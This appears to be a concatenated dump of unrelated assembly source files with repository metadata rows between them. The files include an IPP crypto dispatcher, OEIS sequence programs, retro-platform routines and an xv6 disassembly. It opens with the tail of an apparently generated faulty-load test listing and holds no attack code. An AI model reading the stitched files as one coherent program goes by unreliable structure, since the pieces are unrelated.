{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_US', 'congruent': 1}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_PSE', 'congruent': 3}, 'OP': 'STOR'}
{'dst': {'same': True, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_A', 'congruent': 0}, 'OP': 'STOR'}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_A', 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': True, 'size': 16, 'type': 'addresses_WC_ht', 'congruent': 11}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WT_ht', 'congruent': 7}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_D_ht', 'congruent': 4}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_D_ht', 'congruent': 7}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WC_ht', 'congruent': 1}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_D_ht', 'congruent': 5}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_UC_ht', 'congruent': 3}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 16, 'type': 'addresses_UC_ht', 'congruent': 8}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_A_ht', 'congruent': 6}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_A_ht', 'congruent': 2}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_A_ht', 'congruent': 6}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_A_ht', 'congruent': 7}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_D_ht', 'congruent': 0}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WT_ht', 'congruent': 4}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WT_ht', 'congruent': 0}}
{'00': 1}
00
*/
| 20.14759 | 124 | 0.640903 |
c4a30218c3543aa9fdc888e16a4946049cada204 | 1,205 | asm | Assembly | _build/dispatcher/jmp_ippsRSAEncrypt_PKCSv15_cc10ed28.asm | zyktrcn/ippcp | b0bbe9bbb750a7cf4af5914dd8e6776a8d544466 | [
"Apache-2.0"
] | 1 | 2021-10-04T10:21:54.000Z | 2021-10-04T10:21:54.000Z | _build/dispatcher/jmp_ippsRSAEncrypt_PKCSv15_cc10ed28.asm | zyktrcn/ippcp | b0bbe9bbb750a7cf4af5914dd8e6776a8d544466 | [
"Apache-2.0"
] | null | null | null | _build/dispatcher/jmp_ippsRSAEncrypt_PKCSv15_cc10ed28.asm | zyktrcn/ippcp | b0bbe9bbb750a7cf4af5914dd8e6776a8d544466 | [
"Apache-2.0"
] | null | null | null | extern m7_ippsRSAEncrypt_PKCSv15:function
extern n8_ippsRSAEncrypt_PKCSv15:function
extern y8_ippsRSAEncrypt_PKCSv15:function
extern e9_ippsRSAEncrypt_PKCSv15:function
extern l9_ippsRSAEncrypt_PKCSv15:function
extern n0_ippsRSAEncrypt_PKCSv15:function
extern k0_ippsRSAEncrypt_PKCSv15:function
extern ippcpJumpIndexForMergedLibs
extern ippcpSafeInit:function
segment .data
align 8
dq .Lin_ippsRSAEncrypt_PKCSv15
.Larraddr_ippsRSAEncrypt_PKCSv15:
dq m7_ippsRSAEncrypt_PKCSv15
dq n8_ippsRSAEncrypt_PKCSv15
dq y8_ippsRSAEncrypt_PKCSv15
dq e9_ippsRSAEncrypt_PKCSv15
dq l9_ippsRSAEncrypt_PKCSv15
dq n0_ippsRSAEncrypt_PKCSv15
dq k0_ippsRSAEncrypt_PKCSv15
segment .text
global ippsRSAEncrypt_PKCSv15:function (ippsRSAEncrypt_PKCSv15.LEndippsRSAEncrypt_PKCSv15 - ippsRSAEncrypt_PKCSv15)
.Lin_ippsRSAEncrypt_PKCSv15:
db 0xf3, 0x0f, 0x1e, 0xfa
call ippcpSafeInit wrt ..plt
align 16
ippsRSAEncrypt_PKCSv15:
db 0xf3, 0x0f, 0x1e, 0xfa
mov rax, qword [rel ippcpJumpIndexForMergedLibs wrt ..gotpc]
movsxd rax, dword [rax]
lea r11, [rel .Larraddr_ippsRSAEncrypt_PKCSv15]
mov r11, qword [r11+rax*8]
jmp r11
.LEndippsRSAEncrypt_PKCSv15:
| 30.897436 | 115 | 0.817427 |
2906c75234b1a082cd354ed0c6d38be9dfc37814 | 1,791 | asm | Assembly | src/test/ref/test-word-size-arrays.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | 2 | 2022-03-01T02:21:14.000Z | 2022-03-01T04:33:35.000Z | src/test/ref/test-word-size-arrays.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | src/test/ref/test-word-size-arrays.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | // Commodore 64 PRG executable file
.file [name="test-word-size-arrays.prg", type="prg", segments="Program"]
.segmentdef Program [segments="Basic, Code, Data"]
.segmentdef Basic [start=$0801]
.segmentdef Code [start=$80d]
.segmentdef Data [startAfter="Code"]
.segment Basic
:BasicUpstart(main)
.segment Code
main: {
.label screen = $400
.label __4 = 2
.label __6 = 6
.label line = 8
.label __7 = 4
.label __8 = 2
.label __9 = 6
lda #<0
sta.z line
sta.z line+1
__b1:
// for (line = 0; line < 40*24; line += 40)
lda.z line+1
cmp #>$28*$18
bcc __b4
bne !+
lda.z line
cmp #<$28*$18
bcc __b4
!:
ldx #0
// Cleare the bottom line
__b5:
// for (byte c=0; c<40; ++c)
cpx #$28
bcc __b6
// }
rts
__b6:
// line+c
txa
clc
adc.z line
sta.z __6
lda #0
adc.z line+1
sta.z __6+1
// screen[line+c] = ' '
lda.z __9
clc
adc #<screen
sta.z __9
lda.z __9+1
adc #>screen
sta.z __9+1
lda #' '
ldy #0
sta (__9),y
// for (byte c=0; c<40; ++c)
inx
jmp __b5
__b4:
ldx #0
__b2:
// for (byte c=0; c<40; ++c)
cpx #$28
bcc __b3
// line += 40
lda #$28
clc
adc.z line
sta.z line
bcc !+
inc.z line+1
!:
jmp __b1
__b3:
// line+c
txa
clc
adc.z line
sta.z __4
lda #0
adc.z line+1
sta.z __4+1
// screen[line+c] = screen[line+c+40]
lda.z __4
clc
adc #<screen+$28
sta.z __7
lda.z __4+1
adc #>screen+$28
sta.z __7+1
lda.z __8
clc
adc #<screen
sta.z __8
lda.z __8+1
adc #>screen
sta.z __8+1
ldy #0
lda (__7),y
sta (__8),y
// for (byte c=0; c<40; ++c)
inx
jmp __b2
}
| 16.583333 | 72 | 0.508654 |
6776c4d4115628d63fbf08d6f8f738a206cf0887 | 548 | asm | Assembly | oeis/294/A294644.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/294/A294644.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/294/A294644.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A294644: Decimal expansion of the real positive solution to x^3 = x + 3.
; Submitted by Jon Maiga
; 1,6,7,1,6,9,9,8,8,1,6,5,7,1,6,0,9,6,9,7,4,8,1,4,9,7,8,1,2,1,9,5,5,7,2,2,8,7,2,8,2,6,4,8,2,7,2,0,4,5,8,1,6,9,2,1,3,6,9,0,2,4,3,8,6,4,7,5,2,5,1,3,0,0,2,1,7,9,3,2,5,2,8,7,3,6,3,7,8,6,0,8,8,5,1,4,4,8,1,7
mov $1,1
mov $3,$0
mul $3,4
lpb $3
div $6,3
mul $6,2
add $1,$6
add $2,$1
mov $5,$1
mul $1,2
add $6,$2
mul $2,2
sub $3,1
add $5,$2
add $6,$5
lpe
mov $4,10
pow $4,$0
div $2,$4
cmp $7,0
add $2,$7
div $1,$2
mov $0,$1
mod $0,10
| 18.896552 | 201 | 0.532847 |
4d9eb00a7f2b5ecc0bfc6b7dc786c8c7cb4d4d26 | 348 | asm | Assembly | src/third_party/nasm/test/prefix66.asm | Mr-Sheep/naiveproxy | 9f6e9768295f6d1d41517a15a621d4756bd7d6be | [
"BSD-3-Clause"
] | 2,219 | 2018-03-26T02:57:34.000Z | 2022-03-31T00:27:59.000Z | src/third_party/nasm/test/prefix66.asm | Mr-Sheep/naiveproxy | 9f6e9768295f6d1d41517a15a621d4756bd7d6be | [
"BSD-3-Clause"
] | 395 | 2020-04-18T08:22:18.000Z | 2021-12-08T13:04:49.000Z | src/third_party/nasm/test/prefix66.asm | Mr-Sheep/naiveproxy | 9f6e9768295f6d1d41517a15a621d4756bd7d6be | [
"BSD-3-Clause"
] | 473 | 2019-03-24T16:34:23.000Z | 2022-03-31T02:01:05.000Z | ;Testname=test; Arguments=-fbin -oprefix66.bin; Files=stdout stderr prefix66.bin
BITS 16
cmp ax, 1
o16 cmp ax, 1
o32 cmp ax, 1
cmp eax, 1
o16 cmp eax, 1
o32 cmp eax, 1
BITS 32
cmp ax, 1
o16 cmp ax, 1
o32 cmp ax, 1
cmp eax, 1
o16 cmp eax, 1
o32 cmp eax, 1
BITS 64
cmp ax, 1
o16 cmp ax, 1
o32 cmp ax, 1
cmp eax, 1
o16 cmp eax, 1
o32 cmp eax, 1
| 12 | 80 | 0.678161 |
8afaebc9d38cf765d68b3857f9e98147fd2aeaaf | 601 | nasm | Assembly | Projetos/F-Assembly/src/nasm/div.nasm | mariaeduardabicalho/Z01 | a08eb895cb064aad16e512d20b09c3f02704f98d | [
"Unlicense"
] | 2 | 2018-03-21T01:20:58.000Z | 2018-04-16T14:35:51.000Z | Projetos/F-Assembly/src/nasm/div.nasm | mariaeduardabicalho/Z01 | a08eb895cb064aad16e512d20b09c3f02704f98d | [
"Unlicense"
] | 70 | 2018-03-13T12:19:23.000Z | 2018-05-16T20:38:45.000Z | Projetos/F-Assembly/src/nasm/div.nasm | mariaeduardabicalho/Z01 | a08eb895cb064aad16e512d20b09c3f02704f98d | [
"Unlicense"
] | null | null | null | ; Arquivo: Div.nasm
; Curso: Elementos de Sistemas
; Criado por: Luciano Soares
; Data: 27/03/2017
; Divide R0 por R1 e armazena o resultado em R2.
; (R0, R1, R2 refer to RAM[0], RAM[1], and RAM[2], respectively.)
; divisao para numeros inteiros positivos
leaw $0, %A ;atribui 0 a A
movw (%A), %D ;Move o que esta em A[0] para D
WHILE:
leaw $1, %A ;atribui 1 a A
subw %D, (%A), %D ;Faz D - A[1] e atribui a D
incw %S ;add 1 em S
leaw $WHILE, %A
;repete se D > 0
jg %D
nop
leaw $2, %A ;atribui 2 a A
movw %S, (%A) ;Move o que esta em S para A[2]
| 26.130435 | 65 | 0.584027 |
1c8378b9239f39086cc7db162a982b39e03d6cf8 | 375 | asm | Assembly | programs/oeis/161/A161827.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/161/A161827.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/161/A161827.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A161827: Complement of A006446.
; 5,7,10,11,13,14,17,18,19,21,22,23,26,27,28,29,31,32,33,34,37,38,39,40,41,43,44,45,46,47,50,51,52,53,54,55,57,58,59,60,61,62,65,66,67,68,69,70,71,73,74,75,76,77,78,79,82,83,84,85,86,87,88,89,91,92,93,94,95,96,97,98
seq $0,37 ; Numbers that are not squares (or, the nonsquares).
seq $0,183866 ; n+floor(2*sqrt(n-1)); complement of A035106.
| 62.5 | 215 | 0.68 |
b7cb80b348212331e0c8b160a6898b73ad44c2f8 | 289 | asm | Assembly | Assembler/c.asm | epostIt/Assembler | 4dd563263a45093a00182951cd81fa90995dc860 | [
"MIT"
] | null | null | null | Assembler/c.asm | epostIt/Assembler | 4dd563263a45093a00182951cd81fa90995dc860 | [
"MIT"
] | null | null | null | Assembler/c.asm | epostIt/Assembler | 4dd563263a45093a00182951cd81fa90995dc860 | [
"MIT"
] | null | null | null | // Data will be loaded in R[100] and R[200] thru R[203]
// The outputs will be taken from R[200] thru R[203]
.EQU FLAG_REGISTER 16383
.EQU FLAG_VALUE 24242
@100
D=M
@200
M=D&M
@201
M=D|M
@202
M=D+M
@203
M=D-M
// Set the flag
@ FLAG_VALUE
D=A
@ FLAG_REGISTER
M=D
| 12.041667 | 56 | 0.619377 |
ce9e46d3da11181b50642d01f3950de75207fa38 | 156 | asm | Assembly | src/Core/InterruptHandlers/HBlank.asm | stoneface86/GameboyBoilerplateProj | 7d2dedb2c3f6fe49819f8ca32c4f6308022d18c7 | [
"MIT"
] | 25 | 2018-06-08T19:19:53.000Z | 2021-10-03T05:07:38.000Z | src/Core/InterruptHandlers/HBlank.asm | stoneface86/GameboyBoilerplateProj | 7d2dedb2c3f6fe49819f8ca32c4f6308022d18c7 | [
"MIT"
] | 1 | 2020-07-14T20:15:47.000Z | 2020-07-15T20:15:26.000Z | src/Core/InterruptHandlers/HBlank.asm | stoneface86/GameboyBoilerplateProj | 7d2dedb2c3f6fe49819f8ca32c4f6308022d18c7 | [
"MIT"
] | 6 | 2019-05-23T05:32:11.000Z | 2020-04-26T21:26:00.000Z | include "./src/Includes.inc"
section "HBlankHandler", rom0
HBlank::
ld a, HBLANK_INTERRUPT_CODE
ld [wLastInterrupt], a ; Save last interrupt code
reti
| 17.333333 | 50 | 0.75 |
8a2d2feab8610baaf3da22c3656131e9f358e369 | 222 | asm | Assembly | libsrc/_DEVELOPMENT/adt/w_array/c/sccz80/w_array_append_callee.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/adt/w_array/c/sccz80/w_array_append_callee.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/adt/w_array/c/sccz80/w_array_append_callee.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null |
; size_t w_array_append(w_array_t *a, void *item)
SECTION code_adt_w_array
PUBLIC w_array_append_callee
w_array_append_callee:
pop hl
pop bc
ex (sp),hl
INCLUDE "adt/w_array/z80/asm_w_array_append.asm"
| 14.8 | 51 | 0.747748 |
d09b3da642701e926a6903e15c0a416eced46c2a | 285 | asm | Assembly | libsrc/msx/msx_noblank.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/msx/msx_noblank.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/msx/msx_noblank.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | ;
; MSX specific routines
; by Stefano Bodrato, 30/11/2007
;
; void msx_noblank();
;
; Enable screen
;
; $Id: msx_noblank.asm,v 1.4 2015/01/19 01:32:57 pauloscustodio Exp $
;
PUBLIC msx_noblank
EXTERN msxbios
INCLUDE "msxbios.def"
msx_noblank:
ld ix,ENASCR
jp msxbios
| 13.571429 | 69 | 0.691228 |
47cc34968051f5109525fed6b5c210303cc532d1 | 548 | asm | Assembly | oeis/306/A306357.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/306/A306357.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/306/A306357.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A306357: Number of nonempty subsets of {1, ..., n} containing no three cyclically successive elements.
; Submitted by Jon Maiga
; 0,1,3,6,10,20,38,70,130,240,442,814,1498,2756,5070,9326,17154,31552,58034,106742,196330,361108,664182,1221622,2246914,4132720,7601258,13980894,25714874,47297028,86992798,160004702,294294530,541292032,995591266,1831177830
lpb $0
sub $0,1
mov $1,$5
add $1,1
add $2,1
cmp $2,1
sub $4,1
add $4,$2
add $2,$3
mov $5,$4
mov $4,$2
mov $2,$3
add $3,$1
add $3,1
add $5,1
add $5,$4
lpe
mov $0,$1
| 23.826087 | 222 | 0.675182 |
8f0790f6c5897e4f7600ad87b686022576c2cfbd | 1,119 | asm | Assembly | programs/oeis/163/A163888.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/163/A163888.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/163/A163888.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A163888: a(n) = 2*a(n-2) for n > 2; a(1) = 5, a(2) = 4.
; 5,4,10,8,20,16,40,32,80,64,160,128,320,256,640,512,1280,1024,2560,2048,5120,4096,10240,8192,20480,16384,40960,32768,81920,65536,163840,131072,327680,262144,655360,524288,1310720,1048576,2621440,2097152,5242880,4194304,10485760,8388608,20971520,16777216,41943040,33554432,83886080,67108864,167772160,134217728,335544320,268435456,671088640,536870912,1342177280,1073741824,2684354560,2147483648,5368709120,4294967296,10737418240,8589934592,21474836480,17179869184,42949672960,34359738368,85899345920,68719476736,171798691840,137438953472,343597383680,274877906944,687194767360,549755813888,1374389534720,1099511627776,2748779069440,2199023255552,5497558138880,4398046511104,10995116277760,8796093022208,21990232555520,17592186044416,43980465111040,35184372088832,87960930222080,70368744177664,175921860444160,140737488355328,351843720888320,281474976710656,703687441776640,562949953421312,1407374883553280,1125899906842624,2814749767106560,2251799813685248
add $0,5
mov $1,5
lpb $0
mul $1,2
mov $2,3
add $2,$0
trn $0,2
lpe
div $1,$2
div $1,2
mov $0,$1
| 74.6 | 956 | 0.831993 |
49f1fcc53a08592d72e085f64347bb69a4cadb39 | 60,773 | asm | Assembly | stressfs.asm | dylsugar/cs461_hw7 | 0eacc005942b80f081e5643af7d8a00ff9920af9 | [
"MIT-0"
] | null | null | null | stressfs.asm | dylsugar/cs461_hw7 | 0eacc005942b80f081e5643af7d8a00ff9920af9 | [
"MIT-0"
] | null | null | null | stressfs.asm | dylsugar/cs461_hw7 | 0eacc005942b80f081e5643af7d8a00ff9920af9 | [
"MIT-0"
] | null | null | null |
_stressfs: file format elf64-x86-64
Disassembly of section .text:
0000000000001000 <main>:
#include "fs.h"
#include "fcntl.h"
int
main(int argc, char *argv[])
{
1000: f3 0f 1e fa endbr64
1004: 55 push %rbp
1005: 48 89 e5 mov %rsp,%rbp
1008: 48 81 ec 30 02 00 00 sub $0x230,%rsp
100f: 89 bd dc fd ff ff mov %edi,-0x224(%rbp)
1015: 48 89 b5 d0 fd ff ff mov %rsi,-0x230(%rbp)
int fd, i;
char path[] = "stressfs0";
101c: 48 b8 73 74 72 65 73 movabs $0x7366737365727473,%rax
1023: 73 66 73
1026: 48 89 45 ee mov %rax,-0x12(%rbp)
102a: 66 c7 45 f6 30 00 movw $0x30,-0xa(%rbp)
char data[512];
printf(1, "stressfs starting\n");
1030: 48 be 10 1f 00 00 00 movabs $0x1f10,%rsi
1037: 00 00 00
103a: bf 01 00 00 00 mov $0x1,%edi
103f: b8 00 00 00 00 mov $0x0,%eax
1044: 48 ba f9 17 00 00 00 movabs $0x17f9,%rdx
104b: 00 00 00
104e: ff d2 callq *%rdx
memset(data, 'a', sizeof(data));
1050: 48 8d 85 e0 fd ff ff lea -0x220(%rbp),%rax
1057: ba 00 02 00 00 mov $0x200,%edx
105c: be 61 00 00 00 mov $0x61,%esi
1061: 48 89 c7 mov %rax,%rdi
1064: 48 b8 cd 12 00 00 00 movabs $0x12cd,%rax
106b: 00 00 00
106e: ff d0 callq *%rax
for(i = 0; i < 4; i++)
1070: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
1077: eb 14 jmp 108d <main+0x8d>
if(fork() > 0)
1079: 48 b8 f5 14 00 00 00 movabs $0x14f5,%rax
1080: 00 00 00
1083: ff d0 callq *%rax
1085: 85 c0 test %eax,%eax
1087: 7f 0c jg 1095 <main+0x95>
for(i = 0; i < 4; i++)
1089: 83 45 fc 01 addl $0x1,-0x4(%rbp)
108d: 83 7d fc 03 cmpl $0x3,-0x4(%rbp)
1091: 7e e6 jle 1079 <main+0x79>
1093: eb 01 jmp 1096 <main+0x96>
break;
1095: 90 nop
printf(1, "write %d\n", i);
1096: 8b 45 fc mov -0x4(%rbp),%eax
1099: 89 c2 mov %eax,%edx
109b: 48 be 23 1f 00 00 00 movabs $0x1f23,%rsi
10a2: 00 00 00
10a5: bf 01 00 00 00 mov $0x1,%edi
10aa: b8 00 00 00 00 mov $0x0,%eax
10af: 48 b9 f9 17 00 00 00 movabs $0x17f9,%rcx
10b6: 00 00 00
10b9: ff d1 callq *%rcx
path[8] += i;
10bb: 0f b6 45 f6 movzbl -0xa(%rbp),%eax
10bf: 89 c2 mov %eax,%edx
10c1: 8b 45 fc mov -0x4(%rbp),%eax
10c4: 01 d0 add %edx,%eax
10c6: 88 45 f6 mov %al,-0xa(%rbp)
fd = open(path, O_CREATE | O_RDWR);
10c9: 48 8d 45 ee lea -0x12(%rbp),%rax
10cd: be 02 02 00 00 mov $0x202,%esi
10d2: 48 89 c7 mov %rax,%rdi
10d5: 48 b8 6a 15 00 00 00 movabs $0x156a,%rax
10dc: 00 00 00
10df: ff d0 callq *%rax
10e1: 89 45 f8 mov %eax,-0x8(%rbp)
for(i = 0; i < 20; i++)
10e4: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
10eb: eb 24 jmp 1111 <main+0x111>
// printf(fd, "%d\n", i);
write(fd, data, sizeof(data));
10ed: 48 8d 8d e0 fd ff ff lea -0x220(%rbp),%rcx
10f4: 8b 45 f8 mov -0x8(%rbp),%eax
10f7: ba 00 02 00 00 mov $0x200,%edx
10fc: 48 89 ce mov %rcx,%rsi
10ff: 89 c7 mov %eax,%edi
1101: 48 b8 36 15 00 00 00 movabs $0x1536,%rax
1108: 00 00 00
110b: ff d0 callq *%rax
for(i = 0; i < 20; i++)
110d: 83 45 fc 01 addl $0x1,-0x4(%rbp)
1111: 83 7d fc 13 cmpl $0x13,-0x4(%rbp)
1115: 7e d6 jle 10ed <main+0xed>
close(fd);
1117: 8b 45 f8 mov -0x8(%rbp),%eax
111a: 89 c7 mov %eax,%edi
111c: 48 b8 43 15 00 00 00 movabs $0x1543,%rax
1123: 00 00 00
1126: ff d0 callq *%rax
printf(1, "read\n");
1128: 48 be 2d 1f 00 00 00 movabs $0x1f2d,%rsi
112f: 00 00 00
1132: bf 01 00 00 00 mov $0x1,%edi
1137: b8 00 00 00 00 mov $0x0,%eax
113c: 48 ba f9 17 00 00 00 movabs $0x17f9,%rdx
1143: 00 00 00
1146: ff d2 callq *%rdx
fd = open(path, O_RDONLY);
1148: 48 8d 45 ee lea -0x12(%rbp),%rax
114c: be 00 00 00 00 mov $0x0,%esi
1151: 48 89 c7 mov %rax,%rdi
1154: 48 b8 6a 15 00 00 00 movabs $0x156a,%rax
115b: 00 00 00
115e: ff d0 callq *%rax
1160: 89 45 f8 mov %eax,-0x8(%rbp)
for (i = 0; i < 20; i++)
1163: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
116a: eb 24 jmp 1190 <main+0x190>
read(fd, data, sizeof(data));
116c: 48 8d 8d e0 fd ff ff lea -0x220(%rbp),%rcx
1173: 8b 45 f8 mov -0x8(%rbp),%eax
1176: ba 00 02 00 00 mov $0x200,%edx
117b: 48 89 ce mov %rcx,%rsi
117e: 89 c7 mov %eax,%edi
1180: 48 b8 29 15 00 00 00 movabs $0x1529,%rax
1187: 00 00 00
118a: ff d0 callq *%rax
for (i = 0; i < 20; i++)
118c: 83 45 fc 01 addl $0x1,-0x4(%rbp)
1190: 83 7d fc 13 cmpl $0x13,-0x4(%rbp)
1194: 7e d6 jle 116c <main+0x16c>
close(fd);
1196: 8b 45 f8 mov -0x8(%rbp),%eax
1199: 89 c7 mov %eax,%edi
119b: 48 b8 43 15 00 00 00 movabs $0x1543,%rax
11a2: 00 00 00
11a5: ff d0 callq *%rax
wait();
11a7: 48 b8 0f 15 00 00 00 movabs $0x150f,%rax
11ae: 00 00 00
11b1: ff d0 callq *%rax
exit();
11b3: 48 b8 02 15 00 00 00 movabs $0x1502,%rax
11ba: 00 00 00
11bd: ff d0 callq *%rax
00000000000011bf <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
11bf: f3 0f 1e fa endbr64
11c3: 55 push %rbp
11c4: 48 89 e5 mov %rsp,%rbp
11c7: 48 83 ec 10 sub $0x10,%rsp
11cb: 48 89 7d f8 mov %rdi,-0x8(%rbp)
11cf: 89 75 f4 mov %esi,-0xc(%rbp)
11d2: 89 55 f0 mov %edx,-0x10(%rbp)
asm volatile("cld; rep stosb" :
11d5: 48 8b 4d f8 mov -0x8(%rbp),%rcx
11d9: 8b 55 f0 mov -0x10(%rbp),%edx
11dc: 8b 45 f4 mov -0xc(%rbp),%eax
11df: 48 89 ce mov %rcx,%rsi
11e2: 48 89 f7 mov %rsi,%rdi
11e5: 89 d1 mov %edx,%ecx
11e7: fc cld
11e8: f3 aa rep stos %al,%es:(%rdi)
11ea: 89 ca mov %ecx,%edx
11ec: 48 89 fe mov %rdi,%rsi
11ef: 48 89 75 f8 mov %rsi,-0x8(%rbp)
11f3: 89 55 f0 mov %edx,-0x10(%rbp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
11f6: 90 nop
11f7: c9 leaveq
11f8: c3 retq
00000000000011f9 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
11f9: f3 0f 1e fa endbr64
11fd: 55 push %rbp
11fe: 48 89 e5 mov %rsp,%rbp
1201: 48 83 ec 20 sub $0x20,%rsp
1205: 48 89 7d e8 mov %rdi,-0x18(%rbp)
1209: 48 89 75 e0 mov %rsi,-0x20(%rbp)
char *os;
os = s;
120d: 48 8b 45 e8 mov -0x18(%rbp),%rax
1211: 48 89 45 f8 mov %rax,-0x8(%rbp)
while((*s++ = *t++) != 0)
1215: 90 nop
1216: 48 8b 55 e0 mov -0x20(%rbp),%rdx
121a: 48 8d 42 01 lea 0x1(%rdx),%rax
121e: 48 89 45 e0 mov %rax,-0x20(%rbp)
1222: 48 8b 45 e8 mov -0x18(%rbp),%rax
1226: 48 8d 48 01 lea 0x1(%rax),%rcx
122a: 48 89 4d e8 mov %rcx,-0x18(%rbp)
122e: 0f b6 12 movzbl (%rdx),%edx
1231: 88 10 mov %dl,(%rax)
1233: 0f b6 00 movzbl (%rax),%eax
1236: 84 c0 test %al,%al
1238: 75 dc jne 1216 <strcpy+0x1d>
;
return os;
123a: 48 8b 45 f8 mov -0x8(%rbp),%rax
}
123e: c9 leaveq
123f: c3 retq
0000000000001240 <strcmp>:
int
strcmp(const char *p, const char *q)
{
1240: f3 0f 1e fa endbr64
1244: 55 push %rbp
1245: 48 89 e5 mov %rsp,%rbp
1248: 48 83 ec 10 sub $0x10,%rsp
124c: 48 89 7d f8 mov %rdi,-0x8(%rbp)
1250: 48 89 75 f0 mov %rsi,-0x10(%rbp)
while(*p && *p == *q)
1254: eb 0a jmp 1260 <strcmp+0x20>
p++, q++;
1256: 48 83 45 f8 01 addq $0x1,-0x8(%rbp)
125b: 48 83 45 f0 01 addq $0x1,-0x10(%rbp)
while(*p && *p == *q)
1260: 48 8b 45 f8 mov -0x8(%rbp),%rax
1264: 0f b6 00 movzbl (%rax),%eax
1267: 84 c0 test %al,%al
1269: 74 12 je 127d <strcmp+0x3d>
126b: 48 8b 45 f8 mov -0x8(%rbp),%rax
